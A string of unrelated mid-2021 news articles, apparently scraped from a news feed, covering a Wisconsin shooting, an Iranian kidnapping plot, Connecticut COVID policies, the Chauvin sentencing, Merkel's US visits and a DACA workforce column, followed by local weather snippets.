Tuesday's chain of events began about 7:30 a.m., when the suspect approached and fatally shot Anthony F. Griger, 22, of Elkhorn, as Griger was filling his car with gas at the Pilot Travel Center about 2 miles (3 kilometers) away, according to authorities.

The sheriff told the county board that the suspect then rummaged through Griger's pockets for a set of keys, but then decided he didn't want that car.

"He got out of that vehicle, and found another random person driving to the gas station ... and he shot at that person. That person got out of there as fast as they could, Schmaling said.

Schmaling has said a motive for the initial shooting has not been determined. He released Griger's name Wednesday and said his family, including his wife, had asked for privacy.

Schmaling said he had watched video of the Pilot Travel Center shooting and described it as an execution.

The suspect then got back into his own vehicle and sped off to the Mobil station, where he encountered the investigator pumping gas into his unmarked squad car, officials said.

This individual, is clear to me after watching the video, had no idea who he (the suspect) is about to encounter. And this, were splitting seconds here. He came out, gun drawn and approached the investigator, and started to shoot at him. We are again splitting seconds. The investigator immediately began firing back at him, falling to the ground and taking on at least two rounds, and then firing back at him, Schmaling said.

The sheriff said he finds some relief that it was his investigator that the suspect approached at the Mobil station instead of a random citizen.

"Because he was armed and he was trained. He knew what to do when somebody came at him. Otherwise, this maniac wouldve gone on another rampage, Schmaling said.
NEW YORK (AP)  An Iranian Foreign Ministry spokesperson said Wednesday that accusations by U.S. authorities that Iran is plotting to kidnap Iranians abroad who criticize the country are baseless and ridiculous.

The spokesperson, Saeed Khatibzadeh, was quoted by Irans semiofficial ISNA news agency a day after U.S. federal authorities in New York announced criminal charges against four Iranian intelligence operatives.

The authorities, quoting from an indictment, say the individuals plotted to kidnap a prominent Iranian opposition activist and writer in exile from her Brooklyn residence and take her to Tehran.

Hassan Sarbakhshian/AP

Khatibzadeh derided the plot as Hollywood-style scenarios and baseless and ridiculous accusations unworthy of a response.

Making such an imaginary story is not unlikely by the U.S. Its entire short history is full of assassination, kidnapping and sabotage in other countries, Khatibzadeh said.

Later Wednesday, White House press secretary Jen Psaki told a briefing that Iran's actions to attempt to silence the voices of those peacefully working to address the situation both inside of Iran and outside of Iran are appalling.

We categorically condemn Irans dangerous and despicable reported plot to kidnap a U.S. citizen on U.S. soil, she said.

She said law enforcement actions like those announced Tuesday were part of a strategy to defend U.S. citizens and interests that includes actions taken to defend U.S. forces from Iranian-backed militant groups and diplomatic efforts to constrain Iran's nuclear program.

The indictment in Manhattan federal court described the plot as part of a wider plan to lure three individuals in Canada and a fifth person in the United Kingdom, along with individuals in the United Arab Emirates, to Iran.

The identities of the alleged victims were not released but Brooklyn-based Masih Alinejad confirmed that authorities had told her she was among the targets.

I knew that this is the nature of the Islamic Republic, you know, kidnapping people, arresting people, torturing people, killing people. But I couldnt believe it that this is going to happen to me in United States of America, Alinejad told The Associated Press.

Alinejad, who worked for years as a journalist in Iran, long has been targeted by its theocracy after fleeing the country following its disputed 2009 presidential election and crackdown.

She is a prominent figure on Farsi-language satellite channels abroad that critically view Iran and has worked as a contractor for U.S.-funded Voice of Americas Farsi-language network since 2015. She became a U.S. citizen in October 2019.

___

Associated Press writers Nasser Karimi in Tehran, Iran; and Nancy Benac in Washington, D.C.; contributed to this report.
SIOUX FALLS, S.D. (AP)  South Dakota Gov. Kristi Noem suspended her Cabinet secretary overseeing state prisons and the warden of the state penitentiary in Sioux Falls, following an anonymous complaint that alleged supervising corrections officers regularly sexually harassed their fellow employees, employee morale is low and promotions are plagued by nepotism.

The governor said she was briefed around 7 p.m. Tuesday on an internal review from the Bureau of Human Resources that was prompted by the anonymous complaint. Less than three hours later, Noem said she was putting Secretary of Corrections Mike Leidholt and State Penitentiary Warden Darin Young on administrative leave and commissioning an investigation into the allegations. The complaints had been known to state officials for months, according to the organization that represents state employees.

The two pages of the complaint released by Noem's office do not name either Leidholt or Young, but allege that supervising corrections officers at the prison were allowed to sexually harass employees and that attempts to report the harassment were ignored. The complaint states that schedules at the prison were adjusted so the officers could work in the same vicinities as their interest/victims. It also alleges that employees who did not give in to the harassment were made to suffer by being placed in less desirable posts or something of the sort."

The complaint further alleges that employee morale was low amid wages that lagged behind other industries, corrections officers did not have body armor that was up to standards," and that promotions were based on personal connections.

Leidholt and Young did not respond to requests for comment sent to their government-issued emails or messages left at phone numbers listed to their names.

The anonymous complaint was first made in early May, according to Eric Ollila, the director of the South Dakota State Employees Organization that lobbies for state government workers. He said that starting in March, he began receiving a record number of complaints from employees of the Department of Corrections.

The governors office did not respond to a question on when the Bureau of Human Resources began its internal review.

My top priority as governor is keeping South Dakotans safe, and that includes the men and women who work at the State Penitentiary and those who are confined there, the governor said in the statement announcing the suspensions.

Ollila attributed the situation to mounting pressure on state employees from a combination of the coronavirus pandemic, recent cuts to benefits and perennial struggles to get raises.

State prisons saw widespread outbreaks of the virus among inmates and staff last year, with two out of every three prisoners infected at some point. That rate was one of the highest in the country, according to data collected by The Associated Press and The Marshall Project.

The pandemic really put corrections officers under immense pressure, Ollila said.

He also pointed to a recent change to state employee health care plans that requires them to pay premiums for health insurance. The governor pushed that change through the Legislature this year, arguing it would free up money for raises and make the health care plans financially viable.

Democratic state Sen. Reynold Nesiba has also attempted to raise the issue of low employee morale and high turnover at the prison in recent months. He said employees have complained to him about safety concerns and wages that are not competitive with other jobs in the area.

We are not paying our workers enough and the benefits that used to be really great are no longer, he said. Im sincerely worried about the safety of our staff and the inmates.

Noem said she has assigned two members of her Cabinet to conduct an internal review of the prison, as well as commission a third-party investigation.

Noem also appointed Tim Reisch, who worked as corrections secretary from 2003 to 2011, as the interim head of the Department of Corrections. She temporarily appointed Doug Clark, the department's deputy secretary, as acting warden of the state penitentiary.
WASHINGTON (AP)  The Biden administration is formally inviting United Nations racism and human rights envoys to visit the United States amid a contentious ongoing domestic debate over the treatment of minorities in America.

The State Department announced late Tuesday that the administration would issue a standing invitation to all U.N. envoys, known as special rapporteurs, who compile information on race and discrimination and report back to the world body.

Secretary of State Antony Blinken also welcomed the adoption of a resolution by the Geneva-based U.N. Human Rights Council to address racism directed against Africans and people of African descent.

In a statement, Blinken said President Joe Biden's administration is deeply dedicated to addressing racial injustice and inequities at home and abroad.

He said the administration would lead by example on the global stage by allowing international scrutiny of its own issues and publicly confronting them.

The invitations come as racial justice issues loom large in the U.S. and elsewhere and are a sharp contrast to the Trump administrations disdain for U.N. approaches to the matter.

Former President Donald Trump, for instance, had pulled the U.S. out of the Human Rights Council over its treatment of Israel and the presence of numerous autocracies in its membership. The Trump administration had also scoffed at criticism of its policies by the U.N. and its envoys.

In a statement, Blinken said great nations such as ours do not hide from our shortcomings; they acknowledge them openly and strive to improve with transparency." The message appeared aimed not only at an American audience but also at countries like Russia, China and others that routinely reject accusations of discrimination against minorities.

In so doing, we not only work to set the standard for national responses to these challenges, we also strengthen our democracy, and give new hope and motivation to human rights defenders across the globe, he said.

As a first step, Blinken said the U.S. had invited the U.N. special rapporteur on contemporary forms of racism and the U.N. special rapporteur on minority issues to make official visits to the United States. Invitations to other unspecified U.N. envoys who deal with thematic human rights issues will be forthcoming, he said.

There are dozens of U.N. special rapporteurs, including many who cover human rights in specific countries. But there are also a number who handle broader rights-related issues, including torture, xenophobia, extreme poverty, the treatment of women and girls and indigenous peoples and environmental discrimination.

Responsible nations must not shrink from scrutiny of their human rights record; rather, they should acknowledge it with the intent to improve, Blinken said.
Days after the Centers for Disease Control and Prevention issued new guidance, indicating vaccinated students and teachers do not need to wear masks, Gov. Ned Lamont said Monday he needs more time to decide whether to lift the mandate when schools reopen in the fall.

Look, I thought we were out of the woods three weeks ago, then we saw this delta variant. We saw how fast it could spread within a community of unvaccinated people. Give us another two or three weeks, Lamont said Monday when asked about the states requirements.

Lamont said he has been meeting with educators, his administration and speaking with other governors about how to address whether students should wear masks in classrooms next year.

Lamont appeared to agree with the CDCs guidance that students under the age of 12, who are not eligible for a vaccine, still wear a mask in the classroom.

My inclination for that age group, until we can get them vaccinated, is to wear the mask a little longer, Lamont said.

The CDC guidance that eases mask recommendations for students comes as Connecticut continues to see low overall infections from the virus. On Monday, the state reported the positivity rate for new tests over the weekend was 0.61 percent. Hospitalizations increased by 10 patients for a total of 35.

Easing recommendations for students also follows a broader message from the CDC guidance that those who have received their vaccines are safe to no longer wear masks in most circumstances. The school-based guidance does recommend students to wear masks on public transportation, such a school buses.

Absent guidance from the state, some school districts have already started to formulate plans for the coming school year that call on all students to wear masks in classrooms. But many are waiting to see what the state will require.

Both the states education and health departments are closely assessing the recent guidance from the CDC, officials said.

Were working with CT DPH to review this guidance and will be assessing Connecticuts current and future guidance for schools in light of the CDC recommendations, said Peter Yazbak, a spokesperson for the states education department.

This latest much-anticipated guidance from the CDC about school mask requirements comes as a growing number of school-aged children have been vaccinated. The most recent state statistics show that 48 percent of children age 12 to 15 have received at least one dose of the vaccine and 65 percent of children age 16 and 17 have received at least one shot.

Guidance from the CDC has served as a foundation for decision-making for state and local officials since the onset of the coronavirus pandemic. However, state officials have broken from the CDCs recommendations in the past, especially as it relates to the schedule for vaccine administration.

While Connecticut has largely lifted all COVID-19 restrictions, the issue of whether children will need to wear masks in school has drawn significant attention. In recent weeks, state officials have pointed to concerns over the delta variant as they weigh options for the next school year.

The variant, still not considered by top state health officials to be the dominant strain in Connecticut, is believed to be much more transmissible than other strains that have been in circulation for months.

While vaccine numbers have been slowly increasing for a portion of school-aged children, those under the age of 12 are still not eligible.

While vaccine makers Pfizer-BioNTech and Moderna are researching the safety and efficacy of the vaccine for children this age, the Food and Drug Administration has yet to approve its use for this age group.

In a joint statement last week, the states education department and Department of Public Health used the recent CDC guidance as an opportunity to stress the importance that more eligible children get vaccinated.

Our children benefit most from in-person learning, and our priority of a safe return to in-person instruction this fall can be achieved by remaining vigilant on what we know works. In that light, we want to remind educators and parents with children 12 and up that getting vaccinated remains the leading public health prevention strategy to protect against COVID-19, the statement read.
Ansonia Police Department

ANSONIA  Hours after police asked for help from the public as they tried to find a missing/endangered 15-year-old, they said in an update that they have located her.

The Ansonia Police Department said in a social media post Tuesday that Keyera Sanchez had been seen walking on Woodlawn Avenue Tuesday afternoon, heading north in the direction of Colony Park.
BRIDGEPORT  A giant anteater baby was born at Connecticuts Beardsley Zoo last month, marking the third such birth in the zoos history.

The zoo announced the birth Wednesday, saying the baby was born on June 15. At nine days old, the baby weighed 4.3 pounds. At 23 days, the baby was 6.1 pounds.

The baby was born to dad, E.O., and mom, Pana.

E.O. and Pana came to the Beardsley Zoo in the hopes they would breed. The couple had their first baby, Mochilla, in 2016. Mochilla now calls Louisianas Alexandria Zoo home. The couples second-born, Tupi, now lives at Tennessees Nashville Zoo.

We couldnt be happier that our giant anteaters Pana and E.O. are parents for the third time, said Gregg Dancho, the zoos director, in a statement. We encourage everyone to follow the babys growth and progress on our Facebook and Instagram pages until the baby is a bit larger.

For now, Pana and her baby are in seclusion most of the day. They take brief trips into the outdoor habitat for some fresh air and sunshine, the zoo said. Pana and her baby will be outside for visitors to see later this summer, alternating with E.O.

When Pana and the baby are outside, E.O. is not allowed in the same habitat because of the mothers protectiveness, the zoo said.

Female anteaters give birth to a single offspring. The baby rides on the mothers back for the first several months of life, sometimes venturing off on its own to explore. For the first week, mother anteaters will spend most of their time sleeping and bonding with the baby.

E.O. and Pana, who are both 12, joined Bridgeports zoo in late May 2015 from Palm Beach Zoo in Florida. Their habitat at the zoo opened in August 2015.

Giant anteaters can live to be up to 26-years-old in human care, weigh up to 100 pounds and are 5- to 7-feet in length, the zoo said. They are typically known to be solitary animals. In the wild, they are mostly found from southern Belize to northern Argentina, living in grasslands, humid forests and woodland areas.

The zoo said anteaters have one of the lowest body temperatures in the animal kingdom at 91 to 97 degrees. They can eat up to 30,000 ants per meal in the wild. Their tongues can reach up to 2 feet in length.
BRIDGEPORT  Bridgeport police convened a variety of community groups on Tuesday, billed as an opportunity to introduce city residents to social services.

But few from the public showed for the evening Zoom event. About a third of attendees were presenters, and several others in the crowd were members of the City Council or the police department itself.

Still the forum provided law enforcement a chance to shape the conversation about policing in Bridgeport. For nearly two hours, the department marketed its relationships with community groups that diffuse situations before they escalate to law enforcement.

We thought it important enough to take of our time to let you know what resources we have available and what our course and plan of action is for the future, and any concerns that you may have, said Rebeca Garcia, the acting police chief. Were going to specifically focus on resources that we have, the relationships that we have with different entities that are represented here tonight.

Garcia reiterated later in her opening comments that the forum would stick strictly to the topic of those partnerships and the help they can provide.

If we work together as one, we can make our community better, she said. We can make our relationships better, and we can focus on any concerns or problems that we may be having.

The evenings presenters included the Center for Family Justice, Liberation Programs, Project Longevity, CASA - Chemical Abuse Services Agency, and Connecticut Institute for Refugees and Immigrants.

The program functioned as a response to city dwellers who have repeatedly called for diverting funds from the police to social services and education. Representatives from the five organizations and Garcia discussed how they assist one another in serving Bridgeport, but did not address the idea of funding.

The forum also comes as Bridgeport has allocated $760,000 from its budget to a new social services unit to assist the police and many of the community groups at this weeks event.

We work side by side, shoulder by shoulder, with law enforcement. We have a special hot line that is just for law enforcement when they go to a 911 call, said Debbie Greenwood, president and CEO of the Center for Family Justice, which provides free, confidential crisis and support services to those impacted by domestic and sexual violence, human trafficking and child abuse.

Likewise, speakers from Liberation Programs, an addiction services provider, said their organization is a key resource for law enforcement.

Whats happened over the past year and a half now, going on two years, with the Bridgeport Police Department (is) the captains, lieutenants, chief, assistant deputy chiefs, just (call) any time they need to, to talk through a case that they know theres another option, said Tia Reid, the regional director of outpatient and outreach services.

It doesnt have to end always in incarceration, she said, but there is something else that that individual needs to ensure that this pattern is broken with addiction or mental health.

Garcia cited a time that she called Liberation for a man who was experiencing homelessness, then removed herself from the situation so he would not fear the polices involvement.

Also on the presenters list was Project Longevity, an anti-gun violence group that works closely with law enforcement. The organization was represented by local project manager Harold Dimbo, formerly a Bridgeport police department member for 26 years.

Dimbo referred to incarceration as a band-aid that does not get to the root of the problems, and emphasized community buy-in.

The police will never be able to stop the gun violence in Bridgeport, said Dimbo. It would have to be done within the community, so we really work hard on community and trying to close that gap between the community and the police.

There was rumors out that Project Longevity is nothing but the police trying to put our kids in jail, and thats not true. Because me and the chief, we sit down for hours thinking of ways how do we keep them from going to jail, he said. This program is more toward the 21st (century) policing, which is you try to help them before they get locked up.

Garcia said that the public can expect more forums like Tuesday nights event in the future, likely in person.

This is just the first of more to come, she said.
The craft beer industry in Connecticut generated $3 billion in economic activity last year. Now the state is giving the growing industry a tax break.

Gov. Ned Lamont chose to visit Thomas Hooker Brewery, located in a warehouse in Bloomfield, Wednesday to highlight a 16.7 percent tax reduction for Connecticut brewers included in the new state budget, which went into effect July 1.

The drop from 23 cents per gallon to 19 cents puts Connecticut more in line with excise tax rates in other states such as Massachusetts and Rhode Island, Commissioner of the Department of Revenue Services Mark Boughton said.

While the change will cost the state a little more in terms of tax revenue, Lamont said, it will help spur further economic growth in the industry.

Thomas Hooker, which employs 50 workers, has plans to soon open a new events venue called Thomas Hooker Live in the North Armory of the former Colt firearms complex in Hartford.

Connecticut is home to more than 120 craft breweries with dozens more in the hopper, Lt. Gov. Susan Bysiewicz said. The industry employs almost 18,000 people across the state.

Asked whether the tax break jives with the message from public health officials warning of an increase in alcohol consumption during the pandemic, Lamont evoked the brewerys namesake, a leader in the Puritan movement.

Thomas Hooker said drinking is OK but do it responsibly, the governor said.
Hartford HealthCare will require all employees to get vaccinated against COVID-19, joining at least one other hospital network in the state to do so while others are considering the mandate.

We think ethically and morally and medically this makes sense, said Dr. Daniel Gottschall, vice president of medical affairs for the Fairfield region of Hartford HealthCare and St. Vincents Medical Center in Bridgeport.

HHC announced that all managers must receive their first dose of COVID by Aug. 1 and other employees will be required to have a first shot by Sept. 1.

Exemptions due to religious or medical reasons are available but, for the most part, colleagues who do not fulfill the vaccination requirement, and do not have an approved exemption or postponement, by Sept. 30, 2021, will be subject to disciplinary action up to and including separation of employment, HHC stated in a letter to employees.

HHC said Wednesday that the vaccine requirement was a logical next step in preventing COVID-19 infections.

The COVID-19 vaccine is the single most effective tool in slowing, and even stopping, the spread of the coronavirus, the health network said in a news release. As leaders in health care, it is our obligation to do everything we can to maintain a safe workplace and clinical environment.

Gottschall said he believed the majority of HHC employees have already received the vaccine, but about 25 percent of our associates have, for whatever reason, made the decision not to get vaccinated and that number for us is too high.

The requirement was also discussed Wednesday during a virtual press conference with several HHC leaders. Getting vaccinated against COVID-19 is a responsibility we feel we have for the patients we serve, said James Cardon, chief clinical integration officer with Hartford HealthCare.

He likened the new mandate to similar vaccination requirements the system related to the flu.

We have a good experience of doing this stuff with flu vaccine, as we have done for several years, Cardon said, adding that vaccinating employees against COVID is as, if not more, important than vaccinating people against the flu.

Policies like the one announced by HHC have been recommended by the Connecticut Hospital Association, which on June 24, announced it was endorsing mandatory COVID-19 vaccination for hospital and health system employees and clinical staff.

Hospitals are leaders in Connecticuts response to the pandemic and we believe taking this step is in further support of public health and the safety of our patients and workforce, Jennifer Jackson, CEO of the association, said in a statement. The science is clear, vaccines are safe and effective, and are proving to be the best way to eliminate the spread of COVID-19 in our state.

HHC is the latest Connecticut health network to adopt the vaccine requirement. Yale New Haven Health will require employees to get a first dose by Aug. 31 and a second dose by Sept. 30. Like Hartford HealthCare, employees would be subject to penalties  including possible termination  if they are not fully vaccinated or receive an exemption by the deadline.

We have made move to make vaccination necessary for all staff, Dr. Thomas Balcezak, the systems chief clinical officer, said Wednesday during Yales regular COVID press briefing. Its an important move.

He said there would be exemptions for medical and spiritual reasons, but those with an exemption would be tested weekly.

Other Connecticut hospitals and health systems appear to be on a similar path.

Nuvance Health, which includes Norwalk, Danbury, New Milford and Sharon hospitals, has endorsed adopting such a policy, but the requirement hasnt yet been implemented.

Stamford Health issued a statement, saying it is developing a thoughtful plan to mandate COVID-19 vaccination action for our workforce.

The safety of our staff, patients and community is our top priority, the statement read. The COVID-19 vaccine is by far the most effective way we can eliminate the spread of COVID-19 in our state and ensure the safety of those groups.

Dr. Ulysses Wu, HHCs system director of infectious diseases, said the goal of vaccinations is to keep people from getting severely ill or dying with COVID.

We want to take a deadly disease and make it normal, Wu said.
MINNEAPOLIS (AP)  The Minnesota judge who oversaw the trial of Derek Chauvin is denying prosecutors' request to rewrite his sentencing order as it relates to the four girls who saw George Floyds death, saying Tuesday that they may have been emotionally traumatized but that the state failed to prove it.

Attorney General Keith Ellison wrote last week that he wasn't seeking to change Chauvin's 22 1/2-year sentence, but he asked Judge Peter Cahill to modify his sentencing order to remove suggestions that the teens and young girl were not traumatized. He cited research showing children process trauma differently from adults, and that adults tend to discount the impact of trauma on Black girls.

Cahill denied that request Tuesday, saying Ellison's mischaracterization of his sentencing order and the tone and substance of Ellison's request necessitated a response. Cahill wrote that he never said the four girls were not traumatized, but instead said evidence at trial did not present any objective indicia of trauma.

It is certainly possible that the witnesses experienced some level of emotional trauma from this incident, but the State failed to prove it," Cahill wrote. He also said that while Ellison pointed to research that shows adults view Black girls as less innocent and less in need of protection, no evidence of that was presented prior to Chauvin's sentencing.

Be that as it may, it is the State that is injecting supposed racial presumptions in this case, not this Court, Cahill wrote. He said his sentencing order never mentions the race or ethnicity of the girls. He said the youngest, who was 9 years old at the time, and her then-17-year-old cousin are Black, but the other two teenagers, who are now 18, are white.

Whether adultification of Black girls is, as the State insists, common in American society, including in the criminal justice system, this Court emphatically rejects the implication that it played any part in the Courts sentencing decision," Cahill wrote.

He also said that while Ellison complains that the court did not hold a separate sentencing hearing, prosecutors had a right to request one but did not.

Ellison's office said Tuesday that it is reviewing the judge's order.

As part of his sentencing order, Cahill noted he had previously found aggravating factors that allowed him to sentence Chauvin to 10 years above the penalty presumed under state sentencing guidelines. He wrote that two of those factors justified a higher sentence: Chauvins abuse of his position of trust or authority as an officer, and his particularly cruel treatment of Floyd.

Cahill also found the presence of children at the scene was an aggravating factor, but didnt justify a longer sentence. He agreed with the defense that the girls were free to leave at any time, and said the prosecutions evidence didnt establish that they had been traumatized. He noted that two were seen smiling and laughing as officers kept Floyd pinned down.

But Ellison wrote that Darnella Frazier, who shot a widely seen social media video of Floyds restraint, broke down crying on the stand while Alyssa Funari testified she had been unable to return to the scene since.

This evidence supports a commonsense conclusion: After they witnessed a brutal, minuteslong murder committed by police officers, the children suffered trauma, Ellison wrote last week.

Cahill said the court is constrained in ways the media, the pundit class, and prosecutors are not. He wrote that he can't act on personal opinion, assumptions or presumptions, but has a duty to apply the law to the evidence and facts in the case and impose a sentence that is rational and just, helps to promote public safety and is proportional to the severity of the offense.

He said that during sentencing, he explicitly said Chauvin's sentence was not intended to send a message." He added the presence of the four underage girls was not a substantial and compelling reason for a longer sentence.

___

Find APs full coverage of the death of George Floyd at: https://apnews.com/hub/death-of-george-floyd
BERLIN (AP)  Neck rubs, pricy dinners, allegations of phone tapping, awkward handshake moments.

Angela Merkel has just about seen it all when it comes to U.S. presidents.

The German chancellor is making her 19th and likely final official visit to the U.S. on Thursday for a meeting with President Joe Biden  her fourth American president  as she nears the end of her 16-year tenure.

Merkel, who turns 67 on Saturday, will be heading into political retirement soon, after deciding long ago not to seek a fifth term in Germanys Sept. 26 election.

One of the longest-serving leaders of one of the closest U.S. allies, Merkel is set for a warm welcome when she meets Biden during her first visit to Washington since he took office in January.

Still, contentious issues are on the table  notably the Nord Stream 2 gas pipeline running from Russia to Germany, which the U.S. has long opposed, and Biden's efforts to convince European allies to drop objections to intellectual property waivers for sharing COVID-19 vaccines with the developing world.

It's a fitting coda for Merkel's dealings with American leaders. A look at some of the highs and lows over the years:

GEORGE W. BUSH

Merkel came to power early in Bush's second term and set about repairing relations chilled by predecessor Gerhard Schroeder's vocal opposition to the war in Iraq.

She quickly became a close ally, perhaps finding that the way to the president's heart was through his stomach. During a visit to Merkel's parliamentary constituency in northeastern Germany in July 2006, Bush couldn't stop talking about a wild boar roast the chancellor laid on for him.

At a Group of Eight summit in St. Petersburg, Russia, a few days later, Bush gave Merkel an impromptu neck-and-shoulder rub that quickly spread across the internet. Merkel hunched her shoulders in surprise, threw her arms up and grimaced, but appeared to smile as Bush walked away. When Merkel visited the White House the following January, Bush promised: No back rubs.

In November 2007, Bush welcomed Merkel to his Crawford, Texas ranch. In Texas, when you invite somebody to your home, its an expression of warmth and respect and thats how I feel about Chancellor Merkel, a jeans-clad Bush said as he greeted Merkel at the property's helipad and drove her in his pickup to his home.

BARACK OBAMA

Merkel's relationship with Obama didn't have the greatest start. In July 2008, the chancellor squashed the idea of candidate Obama delivering a speech at Berlin's signature Brandenburg Gate, saying it was a backdrop for speeches by presidents. Obama switched to another Berlin landmark, the Victory Column.

Still, the chancellor  who shared Obama's businesslike manner but, unlike the new president, never had much time for soaring political rhetoric  forged a strong working relationship with him. It appeared to gain personal warmth over time.

During Merkels 2011 visit to Washington, the two leaders caught dinner at a high-end restaurant, an unusual overture by Obama. A few days later, he hosted Merkel at the White House for a formal state dinner, where he awarded her the Presidential Medal of Freedom, the highest U.S. honor bestowed upon civilians.

Obama got his chance to speak at the Brandenburg Gate in June 2013. Merkel was there to introduce him.

A tough test followed with reports later that year that the U.S. National Security Agency had listened in on German government phones, including Merkels. Merkel declared that spying among friends was unacceptable. But she didn't let it cast a lasting shadow over trans-Atlantic ties.

Obama made a last visit as president in November 2016, dining with Merkel at his Berlin hotel. He was back as ex-president a few months later, participating in a public discussion with Merkel and calling her "one of my favorite partners throughout my presidency.

DONALD TRUMP

Merkel's congratulations to Trump after his 2016 election set the tone for much that followed. In a pointed message, she offered close cooperation on the basis of shared trans-Atlantic values that she said include respect for human dignity regardless of peoples origin, gender or religion.

The former physicist and the former reality TV star were never an obvious personal match but generally kept up appearances when in public together.

Merkel's first visit to the Trump White House in March 2017 produced a famously awkward moment in the Oval Office. Photographers shouted handshake! and Merkel quietly asked Trump do you want to have a handshake? There was no response from the president, who looked ahead with his hands clasped.

Trump never made a bilateral visit to Germany in four years in office, though he did come for the Merkel-hosted Group of 20 summit in Hamburg in 2017.

At the 2018 Group of Seven summit in Canada, Merkel's office released a photo of her leaning on a table in front of Trump, surrounded by other apparently frustrated allied leaders.

Merkel's Germany was a favorite target of Trump's ire. The president called the NATO ally delinquent for failing to spend enough on defense and announced that he was going to pull out about 9,500 of the roughly 34,500 U.S. troops stationed in Germany.

Merkel suggested in 2017 that Europe could no longer entirely rely on the U.S. And, speaking at Harvard University in 2019, she said a new generation of leaders must tear down walls of ignorance and reject isolationism to overcome global problems.

JOE BIDEN

Merkel greeted Biden's 2020 election with barely disguised relief, saying he brought decades of experience to the job, that he knows Germany and Europe well and citing good memories of previous meetings.

In February, she welcomed his first address to a global audience effusively.

Things are looking a great deal better for multilateralism this year than two years ago, and that has a lot to do with Joe Biden having become the president of the United States, Merkel said.

As vice president, Biden had a rapport with Merkel during the Obama presidency, but the two were never particularly close.

Seeking to strengthen ties, Biden made a priority of engaging with Merkel in several early videoconference meetings shortly after taking office. He also waived sanctions on the company behind the controversial Nord Stream 2 pipeline, even as he reiterated his preference that Germany abandon the project.

Since Biden's Jan. 20 inauguration, there hasn't been much opportunity for in-person interaction. Both attended last month's G-7 summit in England and NATO summit in Brussels, but Thursday will be their first significant bilateral meeting.

Merkel will be the first European leader to visit the White House in the Biden administration.

___

AP writer Zeke Miller in Washington contributed to this report.
President Biden recently tweeted that in the last 5 months, just over 3 million jobs were created in the United States. This coincides with continued news of the scarcity of labor throughout the country: COVID-19 has led to many people receiving expanded unemployment benefits, exiting industries or organizations that did not value them as essential humans, fast-tracking retirement plans, or exiting the workplace due to the demand of handling childcare issues in the home (which has disproportionately impacted women).

For those employers who are not already seeing turnover, there may be disruption on the horizon. Those who speak of the Great Resignation forecast as much as 25 to 40% of employees leaving unfulfilling work this fall. This Great Resignation is the result of so many employees transitioning to work from home, realizing the increase in quality of life, and reevaluating returning to the office. Instead, they may find more fulfilling options or opportunities to have greater flexibility in when and where they work. With new job creation and 9.3 million current job openings (according to the Department of Labor), the current job market favors employees and supports a market where they can make demands over work conditions in a manner they never have before.

While we consider the many causes of labor shortage in the U.S. right now, there is one key area that must be included: How does immigration contribute to the workforce? The U.S. Chamber of Commerce recently advocated to Congress and the White House to double the cap on employment-based visas. Neil Bradley, chief policy officer at the Chamber of Commerce said, For several decades, immigration has been a key component of meeting the needs of a growing economy. However, immigration levels, particularly employment-based immigration, has been largely flat. Mark Zandi, chief economist at Moodys Analytics believes the labor supply will be a long-term problem well past the pandemic because of the decrease in immigration.

Immigration reform continues to be an issue that Washington has been unable to effectively address. Previous restrictions on immigration that were blamed on the pandemic led to a decrease in visas being issued to immigrants, which has likely contributed to our labor shortage. Further, the treatment of Deferred Action for Childhood Arrivals (DACA) impacts more than 600,000 people with DACA status.

An estimated 200,000+ of these DACA recipients are employed in the front lines of U.S. businesses. These workers are very likely serving members at your credit unions. Until comprehensive immigration reform is achieved, these DACA employees your future leaders are unsure what their own futures hold. Will they still be able to work next year? How about in two or five years? What will this mean for succession planning and employee career pathing in your credit union?

Perhaps a timelier question is what can you do in this moment to help your staffpeople who care for your members and who you care for with DACA status? DACA renewals expire roughly every 2 years and must be renewed within a very specific time frame or there will be cause delays. I live in a mixed status household. We have been fortunate that we are able to both pay for the fees and complete the necessary paperwork ourselves to maintain DACA renewals. We have even helped family members as needed. Many DACA recipients do not have the same ability to pay or the knowledge necessary to complete the process themselves, though. Usually, this leads to searching for professional legal help from immigration lawyers, resulting in even higher costs for completing the process, and a longer timeline (possibly missing deadlines).

Another challenge your DACA employees may face as they navigate the process is a reduction in funding to the agency of U.S. Citizenship and Immigration Services. USCIS is funded by immigration fees and the most recent changes to immigration policies during the pandemic caused a massive decrease in fee income, resulting in a reduction in staff available to process applications at USCIS. This may lead to employers having to let staff members go because work permitseven those submitted within proper timeframes have expired. This is a very real scenario that can cause your organization to lose great talent, harming both those employees who matter to your organization and your business continuity.

Do you know which people on your team hold DACA status? How about in your membership? As you consider our 600,000 neighbors across the country with DACA status, what can you do to help? Have you considered providing loans to pay the costs for DACA applications or renewals? Does your credit union already have partnerships with local non-profits that can assist with paperwork? What would be the cost of paying your staff members DACA fees rather than replacing them due to turnover or having to release and rehire them due to administrative delays?

As extended unemployment benefits expire and attempts to alleviate the burden of childcare via legislation loom on the horizon, we must wait and see the effect on the labor market. As labor shortages continue, would your credit union consider sponsorship of a work visa for talent outside of the US?

Considering these questions and seeking ways to respond in the affirmative may result in policies, products and services that attract and retain employees and that benefit members as well. This approach to understanding how immigration policies impact peoples lives, then considering tangible actions you can take is an incredibly powerful tool for building trust and loyalty within immigrant communities.

Immigration in all forms has helped fueled growth in the U.S. New ideas, products, services, or the economy itself have been influenced from immigrants in the communities our credit unions serve. That diversity fuels the growth of the credit union industry as well, including among the coveted younger member demographic. The average age of some immigrant groups is in the early to mid-30s, while the average age of credit union members is 47 years old. The average age for board members tops 60 years of age. Ensuring ongoing relevance of your credit union requires integration of immigrants.

With so many opportunities for employees, credit unions must continue to move with the employment trends of the future. Finding purpose in credit unions is easy. Finding the talent to help credit unions fulfill that purpose will be impossible if we do not offer competitive pay, increased work/life balance and create cultures that are inclusive of everyone.

When DEI becomes integrated into the fabric of what credit unions do, we will become the employers of choice for the best talent. If your credit union is seeking ways to improve your talent attraction, development and retention strategies, please reach out. Humanidei + ORourke is here for the purpose of helping credit unions become more inclusive workplaces.
Cullman, AL (35055)

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Scattered thunderstorms early, mainly cloudy overnight with occasional rain likely, possibly heavy at times. Low 69F. Winds light and variable. Chance of rain 80%. Rainfall around a half an inch..

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Cullman, AL (35055)

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Scattered thunderstorms early giving way to steady rain after midnight - it will be heavy at times. Low 69F. Winds light and variable. Chance of rain 80%. Rainfall around a half an inch..

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Scattered thunderstorms early giving way to steady rain after midnight - it will be heavy at times. Low 69F. Winds light and variable. Chance of rain 80%. Rainfall around a half an inch.
A World War IIera airplane hangar in Texas has been converted into a bitcoin mine. Photo: Courtesy of Compute North

